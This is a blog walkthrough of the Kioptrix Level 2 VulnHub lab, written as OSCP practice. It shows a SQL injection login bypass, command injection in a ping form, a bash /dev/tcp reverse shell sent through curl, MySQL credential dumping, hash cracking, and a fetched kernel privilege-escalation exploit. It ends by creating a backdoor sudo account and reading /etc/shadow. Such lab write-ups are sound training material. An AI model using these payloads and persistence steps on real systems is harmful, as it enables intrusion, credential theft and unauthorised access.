Kioptrix Level 1.1 (Level 2) Walkthrough (OSCP Prep)

Introduction
Kioptrix Level 1.1 (otherwise known as Kioptrix Level 2) is the second machine in the Kioptrix line of vulnerable virtual machines available on VulnHub. This is a relatively straightforward box that is suitable for the beginner penetration tester.
Although exploitation is fairly simple, there is one major rabbit hole that may throw you off track once the initial foothold has been gained.
Tools
Before We Begin
This machine suffers from the same network configuration issues as the first two Kioptrix boxes. If you want to set up this VM on a custom virtual network (highly recommended), refer to my post on changing the virtual network adapter in Kioptrix.
Host Discovery
Before we can begin our attack, we need to find the IP address of the Kioptrix Level 2 machine. I’ll use nmap
for a quick ping scan:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ nmap -sP -n 10.0.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 10:51 CDT
Nmap scan report for 10.0.10.2
Host is up (0.00049s latency).
Nmap scan report for 10.0.10.10
Host is up (0.000049s latency).
Nmap scan report for 10.0.10.101
Host is up (0.00069s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.53 seconds
I know that my Kali box is set up to use the static IP 10.0.10.10
, and the virtual network’s DHCP pool starts at 10.0.10.100
, so our target machine must be sitting at 10.0.10.101
.
Scanning and Enumeration
We will use rustscan
to quickly search for any open ports on the machine. rustscan
quickly finds open ports before invoking nmap
for a deeper scan using provided arguments. In this case, we will perform a simple version scan:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ rustscan -a10.0.10.101 -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:22
Open 10.0.10.101:80
Open 10.0.10.101:111
Open 10.0.10.101:443
Open 10.0.10.101:618
Open 10.0.10.101:631
Open 10.0.10.101:3306
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 10:54 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 10:54
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 10:54, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:54
Completed Parallel DNS resolution of 1 host. at 10:54, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:54
Scanning 10.0.10.101 [7 ports]
Discovered open port 111/tcp on 10.0.10.101
Discovered open port 3306/tcp on 10.0.10.101
Discovered open port 443/tcp on 10.0.10.101
Discovered open port 22/tcp on 10.0.10.101
Discovered open port 80/tcp on 10.0.10.101
Discovered open port 618/tcp on 10.0.10.101
Discovered open port 631/tcp on 10.0.10.101
Completed Connect Scan at 10:54, 0.00s elapsed (7 total ports)
Initiating Service scan at 10:54
Scanning 7 services on 10.0.10.101
Completed Service scan at 10:54, 11.02s elapsed (7 services on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 10:54
Completed NSE at 10:54, 0.06s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 10:54
Completed NSE at 10:54, 0.03s elapsed
Nmap scan report for 10.0.10.101
Host is up, received syn-ack (0.00038s latency).
Scanned at 2021-08-01 10:54:42 CDT for 11s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http syn-ack Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind syn-ack 2 (RPC #100000)
443/tcp open ssl/https? syn-ack
618/tcp open status syn-ack 1 (RPC #100024)
631/tcp open ipp syn-ack CUPS 1.1
3306/tcp open mysql syn-ack MySQL (unauthorized)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds
We see an Apache web server running on the standard port 80, so let’s check that out first.
If we launch our browser and point it to the IP of the Kioptrix machine, we are greeted with a login portal:
We notice from the nmap
scan that we have a MySQL
server running on the remote host, so perhaps we can try SQL injection. We can use a simple but effective SQLi payload to try to bypass authentication: admin' or 1=1 or '
. Use the same string for both the username and password fields.
Now click Login
. It works! We are sent to a simple web console that appears to allow us to ping a machine on the network:
By now, it may be clear what the path to a foothold on this machine is. Before we get ahead of ourselves, let’s test out this simple app. I know my Kali box is at 10.0.10.10
, so I’ll try to ping this IP from the app.
After a few moments, we get the output:
10.0.10.10
PING 10.0.10.10 (10.0.10.10) 56(84) bytes of data.
64 bytes from 10.0.10.10: icmp_seq=0 ttl=64 time=36.0 ms
64 bytes from 10.0.10.10: icmp_seq=1 ttl=64 time=0.252 ms
64 bytes from 10.0.10.10: icmp_seq=2 ttl=64 time=0.201 ms
--- 10.0.10.10 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.201/12.154/36.010/16.868 ms, pipe 2
It looks like the application is simply calling the system ping
command on the back-end. Perhaps we can try some command injection. Instead of an IP, let’s give the app a semi-colon followed by a common Linux command and see what output it gives us. I’ll use ;id
as input.
;id
uid=48(apache) gid=48(apache) groups=48(apache)
And we have command injection! We should now know enough to get ourselves a shell on the remote target.
Initial Foothold
Now that we have discovered command injection within the pingit.php
web application, it should be trivial to get a shell. To keep things simple, we can use curl
.
The developer tools in Firefox include a feature that will allow you to copy a curl
command representing any request which has been made in the browser. To use this feature, from the pingit.php
page, do the following:
- Press
F12
to launch the developer tools. - Open the
Network
tab of the developer tools to view all HTTP requests. - Reload the page. When prompted, choose to
Resend
the data. - Find the
POST
request to the filepingit.php
. - Right-click the
POST
request, highlightCopy
, and selectCopy as cURL
. This will copy a acurl
command which can be pasted directly to a shell prompt.
Paste this curl
command to a shell prompt. Wow, that’s a lot of noise! Fortunately, we only need to worry about the ip
field of the --data-raw
parameter. We can use a standard bash
reverse shell using the following syntax (be sure to replace the IP and port number with your own IP and the port of your listener):
bash > /dev/tcp/10.0.10.10/4242 0>&1 2>&1
Unfortunately, we cannot simply use ampersands in the POST data, as the server will interpret them as delimiting parameters. We need to URL encode the ampersands. A quick search of the ascii
man page shows the appropriate hex value for the ampersand is 0x26
, or %26
in URL-encoded form.
Now we can replace the --data-raw
parameter of our curl
command with the following (again, mind your IP and port number):
ip=%3Bbash > /dev/tcp/10.0.10.10/4242 0>%261 2>%261&submit=submit
Launch a netcat
listener, and fire away our curl
command. We pop a shell!
Further Enumeration and Privilege Escalation
So we have a shell as the apache
user. How do we move on to root
?
First things first: Let’s pretty up our shell with a friendlier prompt so we can keep our bearings.
bash -i
bash: no job control in this shell
bash-3.00$ export PS1="\u@\H:\w$ "
apache@kioptrix.level2:/var/www/html$
Down the Rabbit Hole – MySQL
At this point, it may seem logical to begin examining the web application code for any passwords or other useful information. We are already in the web root directory. If we cat
out the index.php
file, we find some potentially useful login credentials:
<?php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
//print "Connected to MySQL<br />";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
//print $query."<br>";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."<br />";
}
?>
Here we find a user john
with password hiroshima
who at least has access to the webapp
database.
If we take a look at /etc/passwd
, we see that john
is also a system account. We can try to SSH into the box using these discovered credentials:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ ssh john@10.0.10.101
john@10.0.10.101's password:
Permission denied, please try again.
john@10.0.10.101's password:
No luck. Perhaps we can dig into the database a bit more?
It is cumbersome to use the MySQL client from our limited shell, so we can try to access the database server remotely:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ mysql -h 10.0.10.101 -u john -p
Enter password:
ERROR 1130 (HY000): Host '10.0.10.10' is not allowed to connect to this MySQL server
It seems we cannot access the MySQL server remotely. However, we can run individual SQL queries by passing them to the mysql
command directly from the command line. Let’s dig for more creds:
apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'show tables'
Enter password: hiroshima
Tables_in_webapp
users
apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'describe users'
Enter password: hiroshima
Field Type Null Key Default Extra
id int(11) YES NULL
username varchar(100) YES NULL
password varchar(10) YES NULL
apache@kioptrix.level2:/var/www/html$ mysql -u john -p webapp -e 'select * from users'
Enter password: hiroshima
id username password
1 admin 5afac8d85f
2 john 66lajGGbla
These passwords will log us into the web console, but will they work over SSH? We know from the /etc/passwd
file that we have the users john
, harold
, and, of course, root
. Trying both passwords with all three users is unsuccessful.
Perhaps we can gather more credentials from the database. Since we are using a MySQL database, we cat attempt to enumerate the mysql.user
table for more usernames and passwords:
apache@kioptrix.level2:/var/www/html$ mysql -u john -p mysql -e 'select user,password from user'
Enter password: hiroshima
user password
root 5a6914ba69e02807
root 5a6914ba69e02807
john 5a6914ba69e02807
Let’s try to crack this hash. In the interest of speed, we can try to use CrackStation at first. Paste the hash in, and click Crack Hashes
.
We have no luck with CrackStation. Let’s try john
:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ echo john:5a6914ba69e02807 > hashes
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ john hashes --wordlist=/usr/share/wordlists/passwords/rockyou.txt --fork=4
Warning: detected hash type "asa-md5", but the string is also recognized as "mysql"
Use the "--format=mysql" option to force loading these as that type instead
Warning: detected hash type "asa-md5", but the string is also recognized as "oracle"
Use the "--format=oracle" option to force loading these as that type instead
Warning: detected hash type "asa-md5", but the string is also recognized as "pix-md5"
Use the "--format=pix-md5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (asa-md5, Cisco ASA [md5($p.$s) (Cisco ASA) 128/128 AVX 4x3])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
1 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1461Kp/s 1461Kc/s 1461KC/s !1hesaves.abygurl69
Waiting for 3 children to terminate
4 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1399Kp/s 1399Kc/s 1399KC/s !31013057c.ie168
2 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1301Kp/s 1301Kc/s 1301KC/s !sd619.a6_123
3 0g 0:00:00:02 DONE (2021-08-01 12:17) 0g/s 1417Kp/s 1417Kc/s 1417KC/s !sanabel!..xCvBnM,
Session completed
No luck here either. At this point, it’s beginning to feel like the database will not be useful in the compromise of the Kioptrix machine. Let’s move on.
Further Enumeration
We can try to look for any listening ports which are only available locally (and therefore would not have shown up in our initial nmap
scan):
apache@kioptrix.level2:/var/www/html$ netstat -nltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:618 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 :::80 :::* LISTEN 9556/sh
tcp 0 0 :::22 :::* LISTEN -
tcp 0 0 :::443 :::* LISTEN 9556/sh
There doesn’t seem to be anything interesting here. Next, let’s enumerate more details about the underlying system:
apache@kioptrix.level2:/var/www/html$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
apache@kioptrix.level2:/var/www/html$ lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
Maybe there are exploits for this distribution? Let’s use searchsploit
:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ searchsploit centos 4.5
----------------------------------------------------------------------------------- ----------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ----------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - | linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation | linux/local/35370.c
----------------------------------------------------------------------------------- ----------------------------
Shellcodes: No Results
The second exploit looks interesting. Let’s mirror and rename it:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ searchsploit -m linux_x86/local/9542.c
Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/9542
Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /home/ori0n/kioptrix2/9542.c
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ mv 9542.c exploit.c
This is a local exploit, so we will need to run it on the remote target. I will use updog
to spin up a quick HTTP server to transfer the source code.
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ updog
[+] Serving /home/ori0n/kioptrix2...
* Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
From the remote shell, we will pull down the source code, compile, and run:
apache@kioptrix.level2:/var/www/html$ cd /tmp
apache@kioptrix.level2:/tmp$ wget 10.0.10.10:9090/exploit.c
--10:25:35-- http://10.0.10.10:9090/exploit.c
=> `exploit.c'
Connecting to 10.0.10.10:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/x-csrc]
0K .. 100% 420.09 MB/s
10:25:35 (420.09 MB/s) - `exploit.c' saved [2643/2643]
apache@kioptrix.level2:/tmp$ gcc -o exploit exploit.c
exploit.c:109:28: warning: no newline at end of file
apache@kioptrix.level2:/tmp$ ./exploit
sh: no job control in this shell
root@kioptrix.level2:/tmp$ id
uid=0(root) gid=0(root) groups=48(apache)
The prompt is misleading, but we have root
!
Post-Exploitation
Now that we have root
, we will clean up and create a user for persistent access.
First, remove the exploit:
root@kioptrix.level2:/tmp$ rm /tmp/exploit*
root@kioptrix.level2:/tmp$ ls -al
total 20
drwxr-xrwx 4 root root 4096 Aug 1 10:28 .
drwxr-xr-x 23 root root 4096 Aug 1 08:22 ..
drwxrwxrwt 2 root root 4096 Aug 1 08:22 .font-unix
drwxrwxrwt 2 root root 4096 Aug 1 08:22 .ICE-unix
Now let’s create our own user and grant him sudo
privileges:
root@kioptrix.level2:/tmp$ useradd ori0n
root@kioptrix.level2:/tmp$ passwd ori0n
New UNIX password: dontmindme
Retype new UNIX password: dontmindme
Changing password for user ori0n.
passwd: all authentication tokens updated successfully.
root@kioptrix.level2:/tmp$ echo ori0n ALL=(ALL) ALL >> /etc/sudoers
root@kioptrix.level2:/tmp$ tail -n4 /etc/sudoers
# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users localhost=/sbin/shutdown -h now
ori0n ALL=(ALL) ALL
SSH in and verify our privileges:
┌──(ori0n㉿kali)-[~/kioptrix2]
└─$ ssh ori0n@10.0.10.101 1 ⨯
ori0n@10.0.10.101's password:
Last login: Sun Aug 1 10:31:15 2021 from 10.0.10.10
[ori0n@kioptrix ~]$ sudo -l
Password:
User ori0n may run the following commands on this host:
(ALL) ALL
Looks good! One last test:
[ori0n@kioptrix ~]$ sudo -s
[root@kioptrix ~]# head /etc/shadow
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
bin:*:14525:0:99999:7:::
daemon:*:14525:0:99999:7:::
adm:*:14525:0:99999:7:::
lp:*:14525:0:99999:7:::
sync:*:14525:0:99999:7:::
shutdown:*:14525:0:99999:7:::
halt:*:14525:0:99999:7:::
mail:*:14525:0:99999:7:::
news:*:14525:0:99999:7:::
And we have fully compromised the box!
Wrapping Up
I looked into other potential attack vectors on this machine. Of particular interest was the CUPS daemon running on port 631. While there were known exploits for the particular version of CUPS, without a printer installed – and without the necessary privileges to add one – this route felt like a dead end. In the end, the only path to root
I was able to find is the route described in this post.
Overall, Kioptrix Level 2 is a simple machine. It was easy, however, to get sucked into a rabbit hole searching for credentials in the MySQL database. A good lesson from this experience is to always enumerate the system at the lowest level first: look for kernel exploits or exploits which are specifically targeted at the appropriate release of the distribution.
When you’re ready, move on to Kioptrix Level 3.
Leave a Reply